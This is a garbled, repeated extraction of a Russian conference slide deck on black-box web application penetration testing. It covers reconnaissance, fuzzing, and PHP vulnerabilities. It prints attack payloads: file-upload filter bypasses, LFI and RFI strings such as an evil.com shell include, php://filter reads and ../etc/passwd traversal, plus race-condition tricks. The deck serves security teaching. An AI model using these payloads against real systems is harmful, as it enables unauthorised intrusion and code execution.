bull Проверьте наличие специальных файлов и директорий sitemapxml crossdomainxml robotstxt CHANGELOG svn ssh git CVS DS_Store Thumbsdb testphp infophp phpinfophp phpphp etchellip

bull Поищите бекапы исходных текстов fileext~ fileextswp fileextsave fileextpart fileext fileext fileextbak fileextold fileextun~ filephps filetxt etchellip

bull Перебор файлов и директорий по словарю

Сбор информации

bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql

bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым

Сбор информации

bull Анализ веб-приложения часто осложняется использованием технологий web 20

bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных

bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)

bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL

Сбор информации

bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием

bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413

bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария

Сбор информацииbull Следующим шагом является получение списка

параметров веб-приложения (POST GET Cookie а также заголовки)

bull Их можно угадать исходя из структуры используемых на сайте ссылок

bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск

bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и

размерусодержимому HTTP-ответа

Быстрый fuzzing

bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)

bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя

bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта

Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для

black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество

получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление

универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-

инъекции а также различные виды иных инъекций кода

Быстрый fuzzing

bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д

bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack

bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)

Уязвимости PHP

bull Почему PHP

Почему ломаем PHP

bull Низкий порог вхождения много глупых кодеров с низкопробным кодом

bull Запутанный язык с месивом различным парадигм

bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами

bull bull PROFIT

lt=$question[0]

bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))

header(Location loginphp)require_once includesadminphphellip

lt=$answer[0]

bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к

административному интерфейсуbull Для этого удобно задать в Burp Suite

правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo

lt=$question[1]

bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])

readfile($file)

lt=$answer[1]

bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===

bull Это означает что == влечёт приведение типов что приводит к неожиданностям

php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать

запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+

lt=$question[2]

bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)

lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее

очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла

bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)

bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf

Загрузка файлов

bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли

bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками

Загрузка файлов

bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$

bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis

bull Black-listing расширений htaccess testphp3 не соответствуют php$i

bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 11: Blackbox-тестирование веб-приложений

Первые шаги

bull Включаем локальный прокси-сервер (Burp Suite OWASP ZAP hellip)

bull Гуляем по сайтуbull Смотрим на запросы в логах прокси-

сервераbull Смотрим на HTTP-заголовки и содержимое

ответов

Главные идеи

bull Полезно прикинуть учитывая полученные данные как бы Вы реализовали имеющийся функционал если бы были разработчиком (взгляд изнутри ящика)

bull А затем подумать какие ошибки Вы могли бы допустить и как их можно проэксплуатировать (взгляд извне ящика)

Распознавание платформbull Веб-серверы часто оставляют подпись в

HTTP-заголовке Serverbull Также есть специфичные запросы

например lsquoa=aampa[]=arsquo который вызывает ошибку 500 в Rack Server

bull Языки программирования могут быть определены по заголовку X-Powered-by или просто по расширениям файлов (php aspx и т д)

Распознавание платформ

bull Если определить конкретный используемый движок то с языком опять-таки всё будет ясно

bull Кроме того различным языкам свойственны различные способы приведения типов нормализации и кодирования данных

bull Например если PHP получит массив вместо строки и попытается его вывести через echo массив будет приведён к строке lsquoArrayrsquo

Распознавание платформ

bull Веб-фреймворки могут быть узнаны по ключевым словам в HTTP-заголовках и в HTML-содержимом

bull Атрибут csrfmiddlewaretoken в формах ndashпризнак Django framework

bull Cookie-идентификатор _someprojectname_sess ndash признак Ruby on Rails framework

bull Cookie-идентификатор mojolicious ndash признак Perl-фреймворка Mojolicious

Распознавание платформbull Также взгляните на CSS и JS файлы robotstxt

CHANGELOG и т дbull Эти файлы часто содержат подпись и текущую версию

установленной CMSbull Ещё иногда бывает HTTP-заголовок X-Powered-CMS

(например у Bitrix)bull Часто название CMS написано в атрибуте generator

HTML-тега metabull Ещё ключевые слова com_smth (com_content) =gt Joomla

dle_root =gt DataLife Engine wp-content =gt WordPress и т д

Сбор информации

bull Проверьте наличие специальных файлов и директорий sitemapxml crossdomainxml robotstxt CHANGELOG svn ssh git CVS DS_Store Thumbsdb testphp infophp phpinfophp phpphp etchellip

bull Поищите бекапы исходных текстов fileext~ fileextswp fileextsave fileextpart fileext fileext fileextbak fileextold fileextun~ filephps filetxt etchellip

bull Перебор файлов и директорий по словарю

Сбор информации

bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql

bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым

Сбор информации

bull Анализ веб-приложения часто осложняется использованием технологий web 20

bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных

bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)

bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL

Сбор информации

bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием

bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413

bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария

Сбор информацииbull Следующим шагом является получение списка

параметров веб-приложения (POST GET Cookie а также заголовки)

bull Их можно угадать исходя из структуры используемых на сайте ссылок

bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск

bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и

размерусодержимому HTTP-ответа

Быстрый fuzzing

bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)

bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя

bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта

Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для

black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество

получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление

универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-

инъекции а также различные виды иных инъекций кода

Быстрый fuzzing

bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д

bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack

bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)

Уязвимости PHP

bull Почему PHP

Почему ломаем PHP

bull Низкий порог вхождения много глупых кодеров с низкопробным кодом

bull Запутанный язык с месивом различным парадигм

bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами

bull bull PROFIT

lt=$question[0]

bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))

header(Location loginphp)require_once includesadminphphellip

lt=$answer[0]

bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к

административному интерфейсуbull Для этого удобно задать в Burp Suite

правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo

lt=$question[1]

bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])

readfile($file)

lt=$answer[1]

bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===

bull Это означает что == влечёт приведение типов что приводит к неожиданностям

php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать

запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+

lt=$question[2]

bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)

lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее

очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла

bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)

bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf

Загрузка файлов

bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли

bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками

Загрузка файлов

bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$

bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis

bull Black-listing расширений htaccess testphp3 не соответствуют php$i

bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 12: Blackbox-тестирование веб-приложений

Главные идеи

bull Полезно прикинуть учитывая полученные данные как бы Вы реализовали имеющийся функционал если бы были разработчиком (взгляд изнутри ящика)

bull А затем подумать какие ошибки Вы могли бы допустить и как их можно проэксплуатировать (взгляд извне ящика)

Распознавание платформbull Веб-серверы часто оставляют подпись в

HTTP-заголовке Serverbull Также есть специфичные запросы

например lsquoa=aampa[]=arsquo который вызывает ошибку 500 в Rack Server

bull Языки программирования могут быть определены по заголовку X-Powered-by или просто по расширениям файлов (php aspx и т д)

Распознавание платформ

bull Если определить конкретный используемый движок то с языком опять-таки всё будет ясно

bull Кроме того различным языкам свойственны различные способы приведения типов нормализации и кодирования данных

bull Например если PHP получит массив вместо строки и попытается его вывести через echo массив будет приведён к строке lsquoArrayrsquo

Распознавание платформ

bull Веб-фреймворки могут быть узнаны по ключевым словам в HTTP-заголовках и в HTML-содержимом

bull Атрибут csrfmiddlewaretoken в формах ndashпризнак Django framework

bull Cookie-идентификатор _someprojectname_sess ndash признак Ruby on Rails framework

bull Cookie-идентификатор mojolicious ndash признак Perl-фреймворка Mojolicious

Распознавание платформbull Также взгляните на CSS и JS файлы robotstxt

CHANGELOG и т дbull Эти файлы часто содержат подпись и текущую версию

установленной CMSbull Ещё иногда бывает HTTP-заголовок X-Powered-CMS

(например у Bitrix)bull Часто название CMS написано в атрибуте generator

HTML-тега metabull Ещё ключевые слова com_smth (com_content) =gt Joomla

dle_root =gt DataLife Engine wp-content =gt WordPress и т д

Сбор информации

bull Проверьте наличие специальных файлов и директорий sitemapxml crossdomainxml robotstxt CHANGELOG svn ssh git CVS DS_Store Thumbsdb testphp infophp phpinfophp phpphp etchellip

bull Поищите бекапы исходных текстов fileext~ fileextswp fileextsave fileextpart fileext fileext fileextbak fileextold fileextun~ filephps filetxt etchellip

bull Перебор файлов и директорий по словарю

Сбор информации

bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql

bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым

Сбор информации

bull Анализ веб-приложения часто осложняется использованием технологий web 20

bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных

bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)

bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL

Сбор информации

bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием

bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413

bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария

Сбор информацииbull Следующим шагом является получение списка

параметров веб-приложения (POST GET Cookie а также заголовки)

bull Их можно угадать исходя из структуры используемых на сайте ссылок

bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск

bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и

размерусодержимому HTTP-ответа

Быстрый fuzzing

bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)

bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя

bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта

Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для

black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество

получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление

универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-

инъекции а также различные виды иных инъекций кода

Быстрый fuzzing

bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д

bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack

bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)

Уязвимости PHP

bull Почему PHP

Почему ломаем PHP

bull Низкий порог вхождения много глупых кодеров с низкопробным кодом

bull Запутанный язык с месивом различным парадигм

bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами

bull bull PROFIT

lt=$question[0]

bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))

header(Location loginphp)require_once includesadminphphellip

lt=$answer[0]

bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к

административному интерфейсуbull Для этого удобно задать в Burp Suite

правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo

lt=$question[1]

bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])

readfile($file)

lt=$answer[1]

bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===

bull Это означает что == влечёт приведение типов что приводит к неожиданностям

php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать

запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+

lt=$question[2]

bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)

lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее

очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла

bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)

bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf

Загрузка файлов

bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли

bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками

Загрузка файлов

bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$

bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis

bull Black-listing расширений htaccess testphp3 не соответствуют php$i

bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

